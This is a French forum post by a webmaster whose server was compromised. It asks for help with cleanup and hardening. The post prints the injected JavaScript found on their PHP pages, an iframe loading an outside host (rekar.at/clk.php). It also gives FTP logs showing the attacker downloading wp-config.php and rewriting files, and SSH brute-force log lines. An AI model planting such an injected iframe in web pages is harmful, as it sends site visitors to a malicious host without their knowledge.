J'ai récemment remarqué qu'un malin avait rajouté du code sur toutes mes pages PHP.
Code : Tout sélectionner
/*68c8c7*/
(function () {
var id = '90';
var ny09 = document.createElement('iframe');
ny09.src = 'http://rekar.at/clk.php';
ny09.style.position = 'absolute';
ny09.style.border = '1';
ny09.style.height = '31px';
ny09.style.width = '42px';
ny09.style.left = '500px';
ny09.style.top = '100px';
if (!document.getElementById('ny')) {
document.write('<style>body{overflow-x:hidden;}</style>');
document.write('<div id=\'ny\' style="position:absolute; width:80%; height:100%;" ></div>');
document.getElementById('ny').appendChild(ny09);
}
})();
/*/68c8c7*/
Code : Tout sélectionner
Sun Mar 3 19:55:02 2013 [pid 1010] CONNECT: Client "151.141.90.51"
Sun Mar 3 19:55:03 2013 [pid 1009] [odysseetransfer] OK LOGIN: Client "151.141.90.51"
Sun Mar 3 19:55:07 2013 [pid 1011] [odysseetransfer] OK DOWNLOAD: Client "151.141.90.51", "/sitemap.xml", 4791 bytes,$
Sun Mar 3 19:55:12 2013 [pid 1011] [odysseetransfer] OK DOWNLOAD: Client "151.141.90.51", "/blog-taxi/wp-config.php",$
Sun Mar 3 19:56:07 2013 [pid 1011] [odysseetransfer] OK DOWNLOAD: Client "151.141.90.51", "/en/sitemap.xml", 4731 byt$
Sun Mar 3 19:57:33 2013 [pid 1011] [odysseetransfer] OK UPLOAD: Client "151.141.90.51", "//kXdq693m.gif", 10 bytes, 0$
Sun Mar 3 19:57:36 2013 [pid 1011] [odysseetransfer] OK DELETE: Client "151.141.90.51", "//kXdq693m.gif"
Sun Mar 3 19:57:37 2013 [pid 1011] [odysseetransfer] OK DOWNLOAD: Client "151.141.90.51", "//index.php", 7378 bytes, $
Sun Mar 3 19:57:39 2013 [pid 1011] [odysseetransfer] OK UPLOAD: Client "151.141.90.51", "//index.php", 8841 bytes, 13$
Sun Mar 3 19:57:40 2013 [pid 1011] [odysseetransfer] OK DOWNLOAD: Client "151.141.90.51", "/404.html", 1107 bytes, 6.$
Sun Mar 3 19:57:42 2013 [pid 1011] [odysseetransfer] OK UPLOAD: Client "151.141.90.51", "/404.html", 2053 bytes, 2.88$
Sun Mar 3 19:57:43 2013 [pid 1011] [odysseetransfer] OK DOWNLOAD: Client "151.141.90.51", "/index.php", 8841 bytes, 1$
Sun Mar 3 19:57:44 2013 [pid 1011] [odysseetransfer] OK DOWNLOAD: Client "151.141.90.51", "/requete.html", 818 bytes,$
Sun Mar 3 19:57:45 2013 [pid 1011] [odysseetransfer] OK UPLOAD: Client "151.141.90.51", "/requete.html", 1764 bytes, $
Sun Mar 3 19:57:46 2013 [pid 1011] [odysseetransfer] OK DOWNLOAD: Client "151.141.90.51", "/blog-taxi/wp-content/them$
Sun Mar 3 19:57:48 2013 [pid 1011] [odysseetransfer] OK UPLOAD: Client "151.141.90.51", "/blog-taxi/wp-content/themes$
Sun Mar 3 19:57:49 2013 [pid 1011] [odysseetransfer] OK DOWNLOAD: Client "151.141.90.51", "/blog-taxi/wp-content/them$
Sun Mar 3 19:57:51 2013 [pid 1011] [odysseetransfer] OK UPLOAD: Client "151.141.90.51", "/blog-taxi/wp-content/themes$
Sun Mar 3 19:57:52 2013 [pid 1011] [odysseetransfer] OK DOWNLOAD: Client "151.141.90.51", "/commande/index.php", 7061$
Sun Mar 3 19:57:53 2013 [pid 1011] [odysseetransfer] OK UPLOAD: Client "151.141.90.51", "/commande/index.php", 8524 b$
Sun Mar 3 19:57:55 2013 [pid 1011] [odysseetransfer] OK DOWNLOAD: Client "151.141.90.51", "/commande/dropbox/OLD2/ind$
Sun Mar 3 19:57:56 2013 [pid 1011] [odysseetransfer] OK UPLOAD: Client "151.141.90.51", "/commande/dropbox/OLD2/index$
Sun Mar 3 19:57:57 2013 [pid 1011] [odysseetransfer] OK DOWNLOAD: Client "151.141.90.51", "/commande/old/dropbox/inde$
Sun Mar 3 19:57:59 2013 [pid 1011] [odysseetransfer] OK UPLOAD: Client "151.141.90.51", "/commande/old/dropbox/index.$
Sun Mar 3 19:58:00 2013 [pid 1011] [odysseetransfer] OK DOWNLOAD: Client "151.141.90.51", "/depenses/ajaxfileupload.j$
Sun Mar 3 19:58:02 2013 [pid 1011] [odysseetransfer] OK UPLOAD: Client "151.141.90.51", "/depenses/ajaxfileupload.js"$
Sun Mar 3 19:58:03 2013 [pid 1011] [odysseetransfer] OK DOWNLOAD: Client "151.141.90.51", "/en/404.html", 1107 bytes,$
Sun Mar 3 19:58:04 2013 [pid 1011] [odysseetransfer] OK UPLOAD: Client "151.141.90.51", "/en/404.html", 2053 bytes, 3$
Sun Mar 3 19:58:05 2013 [pid 1011] [odysseetransfer] OK DOWNLOAD: Client "151.141.90.51", "/en/index.php", 6379 bytes$
Le plus étonnant c'est que mon mot de passe contenait un caractère spécial, qui certes, n'est pas le plus aboutie en terme de sécurité, mais qui était moyen d'après moi.
En consultant des logs plus vieux, j'ai vu que mon serveur subissait depuis février des tentatives de connexions par centaines et pire. Une fois le mot de passe FTP obtenu il s'est aussi connecté en SSH car il y avait marqué que la dernière connexion était du domaine einstein.etsu.edu.
Voici ce que j'ai fais pour commencer :
- Changer les mots de passes
- Utiliser tcp_wrappers pour bloquer toutes les IP sur le service FTP et n'autoriser que la mienne et j'ai rajouté la ligne dans hosts.deny "ALL : PARANOID"
- Remettre une copie propre de mon site web
Est-ce ok de ce côté là pour le FTP ?
Ensuite j'ai consulté le fichier log Auth.log : A quoi correspond ce fichier log ?
En me penchant dessus, j'ai remarqué qu'au moment même ou je vous écris, il y a des tentatives de connexion par centaine, voici son contenu :
Code : Tout sélectionner
sMar 5 13:46:59 ks29582 sshd[4378]: Failed password for invalid user mark from 61.186.249.148 port 48155 ssh2
Mar 5 13:47:01 ks29582 CRON[4382]: pam_unix(cron:session): session opened for user root by (uid=0)
Mar 5 13:47:01 ks29582 CRON[4382]: pam_unix(cron:session): session closed for user root
Mar 5 13:47:02 ks29582 sshd[4380]: Invalid user mark from 61.186.249.148
Mar 5 13:47:02 ks29582 sshd[4380]: pam_unix(sshd:auth): check pass; user unknown
Mar 5 13:47:02 ks29582 sshd[4380]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=mai$
Mar 5 13:47:04 ks29582 sshd[4380]: Failed password for invalid user mark from 61.186.249.148 port 48319 ssh2
Mar 5 13:47:06 ks29582 sshd[4425]: Invalid user mark from 61.186.249.148
Mar 5 13:47:06 ks29582 sshd[4425]: pam_unix(sshd:auth): check pass; user unknown
Mar 5 13:47:06 ks29582 sshd[4425]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=mai$
Mar 5 13:47:09 ks29582 sshd[4425]: Failed password for invalid user mark from 61.186.249.148 port 48484 ssh2
Mar 5 13:47:12 ks29582 sshd[4427]: Invalid user mark from 61.186.249.148
Mar 5 13:47:12 ks29582 sshd[4427]: pam_unix(sshd:auth): check pass; user unknown
Mar 5 13:47:12 ks29582 sshd[4427]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=mai$
Mar 5 13:47:13 ks29582 sshd[4427]: Failed password for invalid user mark from 61.186.249.148 port 48660 ssh2
Mar 5 13:47:16 ks29582 sshd[4429]: Invalid user mark from 61.186.249.148
Merci pour votre aide les gars,
A+
EDIT : Je viens de voir que Fail2Ban était déjà installé... Il est donc vraiment inefficace ?
Code : Tout sélectionner
[ssh]
enabled = true
port = ssh
filter = sshd
logpath = /var/log/auth.log
maxretry = 6